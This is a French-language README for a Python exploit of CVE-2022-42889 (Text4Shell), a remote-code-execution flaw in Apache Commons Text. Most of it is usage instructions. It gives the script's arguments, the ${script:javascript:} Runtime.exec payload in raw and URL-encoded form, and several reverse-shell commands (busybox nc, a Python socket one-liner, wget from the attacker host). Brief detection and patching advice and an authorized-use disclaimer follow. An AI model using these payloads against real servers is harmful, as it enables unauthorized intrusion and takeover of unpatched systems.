
Exploit Python pour CVE-2022-42889 (Text4Shell) permettant l'exécution de code à distance via l'interpolation Apache Commons Text. Prend en charge la génération de shell inversé, le SSRF et l'exécution de commandes personnalisées.
Un exploit Python pour CVE-2022-42889 (Text4Shell), une vulnérabilité critique d'exécution de code à distance dans les versions d'Apache Commons Text antérieures à 1.10.0.
Cet exploit cible CVE-2022-42889 (Text4Shell), une vulnérabilité dans Apache Commons Text qui permet l'exécution de code à distance (RCE) via des chaînes d'entrée spécialement conçues traitées par l'interpolateur StringLookup.
La vulnérabilité a un impact similaire à Log4Shell mais affecte une bibliothèque différente. Lorsque des entrées contrôlées par l'utilisateur sont passées à des méthodes vulnérables, un attaquant peut exécuter du code arbitraire sur le système cible.
Apache Commons Text fournit une interpolation de chaîne via l'interface StringLookup. La recherche interpolator permet l'évaluation d'expressions avec différents préfixes, notamment :
${script:javascript:...} - Exécute du code JavaScript (moteur Nashorn)${url:UTF-8:...} - Récupère des URLs (SSRF)${dns:...} - Recherches DNS| Produit | Versions affectées | Version corrigée |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15 (pour RCE) | 15+ (Nashorn désactivé) |
Note : Les versions Java ≥ 15 ne sont pas vulnérables à l'exécution de code à distance via le préfixe script (Nashorn désactivé), mais peuvent toujours être vulnérables au SSRF via les préfixes url et dns.
requestsInstaller les dépendances :
pip install requests
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
| Argument | Description | Requis |
|---|---|---|
-t, --target | Adresse IP cible | ✅ Oui |
-p, --port | Port cible (par défaut : 8080) | ❌ Non |
-c, --command | Commande à exécuter | ✅ Oui |
--lhost | Votre IP pour le shell inversé | ✅ Oui |
--lport | Votre port pour le shell inversé | ✅ Oui |
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
# Start listener
nc -lvnp 4444
# Run exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
Construction de la charge utile : Le script crée une chaîne malveillante utilisant la syntaxe ${script:javascript:...} :
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}
Encodage URL : Les caractères spéciaux sont encodés en URL pour assurer une transmission correcte :
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D
Requête HTTP : Le script envoie une requête GET à :
http://TARGET:PORT/search?query=ENCODED_PAYLOAD
Exécution de la commande : Si vulnérable, la cible évalue le JavaScript et exécute la commande.
Vérifiez si votre système est vulnérable :
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
Si la réponse contient 49 au lieu de ${script:javascript:7*7}, le système est vulnérable.
commons-text-*.jar dans l'applicationMettez à niveau Apache Commons Text vers la version 1.10.0 ou supérieure :
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
StringSubstitutor.createInterpolator()${script:javascript:}Cet exploit est fourni à des fins éducatives et uniquement pour des tests de sécurité autorisés. L'utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est illégale. Les auteurs ne sont pas responsables de toute utilisation abusive ou des dommages causés par cet outil.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Les contributions, les problèmes et les demandes de fonctionnalités sont les bienvenus ! N'hésitez pas à consulter la page des issues.
Bon hack ! 🚀